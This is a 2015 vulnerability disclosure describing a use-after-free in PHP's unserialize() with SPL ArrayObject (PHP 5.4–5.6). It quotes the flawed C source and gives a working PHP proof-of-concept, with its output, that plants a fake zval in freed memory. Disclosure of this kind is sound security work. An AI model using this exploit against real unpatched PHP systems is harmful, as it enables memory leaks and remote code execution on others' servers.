#Use After Free Vulnerability in unserialize() with SPL ArrayObject
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.7.30 - Release Date: 2015.8.7
> A use-after-free vulnerability was discovered in unserialize() with SPL ArrayObject object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
```
if (*p!= 'x' || *++p != ':') {
goto outexcept;
}
++p;
ALLOC_INIT_ZVAL(pflags);
if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
zval_ptr_dtor(&pflags);
goto outexcept;
}
--p; /* for ';' */
flags = Z_LVAL_P(pflags);
zval_ptr_dtor(&pflags); <=== free memory
...
/* members */
if (*p!= 'm' || *++p != ':') {
goto outexcept;
}
++p;
ALLOC_INIT_ZVAL(pmembers);
if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
zval_ptr_dtor(&pmembers);
goto outexcept;
}
/* copy members */
if (!intern->std.properties) {
rebuild_object_properties(&intern->std);
}
zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers),
(copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
zval_ptr_dtor(&pmembers); <=== free memory
/* done reading $serialized */
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return;
```
The zval_ptr_dtor() leads to &pflags and &pmembers are freed from
memory. However the unserialize() will still allow to use R: or r: to
set references to that already freed memory. It is possible to
use-after-free attack and execute arbitrary code remotely.
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.
```
<?php
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner = 'x:i:1234;a:0:{};m:a:0:{}';
$exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
$data = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($data);
function ptr2str($ptr)
{
$out = "";
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
```
Test the PoC on the command line:
```
$ php uafpoc.php
array(2) {
[0]=>
object(ArrayObject)#1 (1) {
["storage":"ArrayObject":private]=>
array(0) {
}
}
[1]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
```
